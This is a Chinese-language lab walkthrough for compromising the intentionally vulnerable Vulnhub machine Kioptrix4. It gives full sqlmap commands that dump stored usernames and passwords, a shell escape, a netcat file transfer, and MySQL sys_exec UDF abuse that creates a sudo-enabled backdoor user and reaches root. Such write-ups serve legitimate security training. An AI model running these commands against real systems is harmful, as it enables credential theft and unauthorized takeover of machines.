Vulnhub-Kioptrix4
字数 841 2025-08-29 08:29:41
Kioptrix4 靶机渗透教学文档
靶机安装
- 从Vulnhub下载Kioptrix4靶机的.vmdk文件
- 新建虚拟机时选择"使用现有磁盘"选项
- 导入下载的.vmdk文件
- 完成虚拟机创建并启动
信息收集
网络探测
使用arp-scan探测靶机IP地址:
arp-scan -l
端口扫描
使用nmap进行端口扫描:
nmap -sV <靶机IP>
发现开放端口:
- 22 (SSH)
- 80 (HTTP)
Web目录扫描
使用dirb进行目录扫描:
dirb http://<靶机IP>
Web应用分析
- 访问80端口,发现登录界面
- 尝试常见弱口令无果
- 抓包分析请求(可使用Burp Suite)
SQL注入利用
- 将抓包数据保存为
test.txt - 在要测试的字段后添加
*标记 - 使用sqlmap进行测试:
数据库枚举
获取数据库列表:
sqlmap -r test.txt --batch --level 5 --dbs
发现members数据库
表枚举
获取members数据库中的表:
sqlmap -r test.txt --batch --level 5 -D members --tables
发现members表
列枚举
获取members表的列:
sqlmap -r test.txt --batch --level 5 -D members -T members --columns
发现username和password列
数据提取
提取用户名和密码:
sqlmap -r test.txt --batch --level 5 -D members -T members -C password,username --dump
SSH登录
- 使用获取的凭据尝试SSH登录
- 如果WSL终端有问题,可使用Termius等SSH客户端
基础提权
- 进入系统后,发现需要提权
- 使用
echo命令执行bash:
echo os.system('/bin/bash')
提权准备
- 上传
LinEnum.sh扫描脚本 - 使用netcat传输文件:
- 攻击机:
nc -lvp 1234 < LinEnum.sh - 靶机:
nc <攻击机IP> 1234 > LinEnum.sh
- 攻击机:
- 添加执行权限:
chmod +x ./LinEnum.sh
- 运行扫描脚本:
./LinEnum.sh
MySQL UDF提权
- 扫描发现MySQL root用户无密码
- 登录MySQL:
mysql -u root
- 查看数据库:
show databases;
- 切换到mysql数据库:
use mysql;
- 查看func表:
select * from func;
发现sys_exec函数
创建特权用户
- 创建新用户:
SELECT sys_exec('useradd -m -s /bin/bash epoch');
- 设置密码:
SELECT sys_exec('echo "epoch:123456" | chpasswd');
- 赋予sudo权限:
SELECT sys_exec('usermod -aG sudo epoch');
获取root权限
- 使用新创建的用户登录:
su - epoch
- 验证sudo权限:
sudo -l
- 获取root shell:
sudo -i
总结
通过本渗透测试,我们完成了从信息收集到最终获取root权限的全过程,关键点包括:
- 使用sqlmap进行SQL注入利用
- 通过MySQL UDF函数进行提权
- 创建特权用户获取root权限